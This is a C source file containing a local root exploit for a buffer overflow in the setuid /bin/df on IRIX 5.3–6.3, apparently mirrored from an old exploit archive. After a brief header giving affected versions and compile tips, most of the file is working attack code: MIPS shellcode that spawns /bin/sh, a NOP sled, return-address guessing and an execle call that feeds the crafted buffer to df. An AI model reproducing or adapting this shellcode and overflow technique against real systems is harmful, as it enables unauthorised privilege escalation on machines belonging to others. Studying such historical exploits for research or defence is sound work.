/* /bin/df buffer overflow exploit by DCRH df(1) is a program used to display statistics about the amount of used and free disc space on file systems. There appears to be a buffer overflow in /bin/df on Irix 5.3, 6.2 and 6.3. /bin/df is installed suid root and hence root access is achievable for local users. The version of 'df' which comes with Irix 6.2, whilst having the buffer overflow problem, is not vulnerable to this exploit as it is compiled as a 64bit N32 object and it is virtually impossible to exploit buffer overflows in such programs. Note that this is true only for the IRIX64 version of Irix 6.2 This only appears to affect the '-f' flag which I doubt anyone ever uses. The exploit code included has been tested on the following: R3000 Indigo (Irix 5.3) R4400 Indy (Irix 5.3) R4400 Indigo 2, Irix 6.2 R4600 Indy, Irix 6.2 R5000 O2 (Irix 6.3) Compile with either gcc or cc. Note that you should specify one of '-mips3', '-mips4' or '-n32' to compile on an O2. The default compile options result in a binary which exhibits weird cache coherency problems and rarely works. Credit is due to Yuri Volobuev for his Irix shell code on which David Hedley is based. Exploit follows: */ #include #include #include #include #include #define BUF_LENGTH 1504 #define EXTRA 700 #define OFFSET 0x200 #define IRIX_NOP 0x03e0f825 /* move $ra,$ra */ #define u_long unsigned u_long get_sp_code[] = { 0x03a01025, /* move $v0,$sp [2000]*/ 0x03e00008, /* jr $ra [2000]*/ 0x00000000, /* nop [2000]*/ }; u_long irix_shellcode[] = { 0x24041234, /* li $4,0x1234 [2000]*/ 0x2084edcc, /* sub $4,0x1234 [2000]*/ 0x0491fffe, /* bgezal $4,pc-4 [2000]*/ 0x03bd302a, /* sgt $6,$sp,$sp [2000]*/ 0x23e4012c, /* addi $4,$31,264+36 */ 0xa086feff, /* sb $6,-264+7($4) */ 0x2084fef8, /* sub $4,264 [2000]*/ 0x20850110, /* addi $5,$4,264+8 */ 0xaca4fef8, /* sw $4,-264($5) [2000]*/ 0xaca6fefc, /* sw $4,-260($5) [2000]*/ 0x20a5fef8, /* sub $5, 264 [2000]*/ 0x240203f3, /* li $v0,1011 [2000]*/ 0x03ffffcc, /* syscall 0xfffff[2000]*/ 0x2f62696e, /* "/bin" [2000]*/ 0x2f7368ff, /* "/sh" [2000]*/ }; char buf[BUF_LENGTH + EXTRA + 8]; void main(int argc, char **argv) { char *env[] = {NULL}; u_long targ_addr, stack; u_long *long_p; int i, code_length = strlen((char *)irix_shellcode)+1; u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code; stack = get_sp(); long_p =(u_long *) buf; targ_addr = stack + OFFSET; if (argc > 1) targ_addr += atoi(argv[1]) * 4; while ((targ_addr & 0xff000000) == 0 || (targ_addr & 0x00ff0000) == 0 || (targ_addr & 0x0000ff00) == 0 || (targ_addr & 0x000000ff) == 0) targ_addr += 4; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = IRIX_NOP; for (i = 0; i < code_length/sizeof(u_long); i++) *long_p++ = irix_shellcode[i]; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ = (targ_addr << 16) | (targ_addr >> 16); *long_p = 0; printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr); execle("/bin/df", "df", &buf[3], 0, env); perror("execl failed"); } /* www.hack.co.za [2000]*/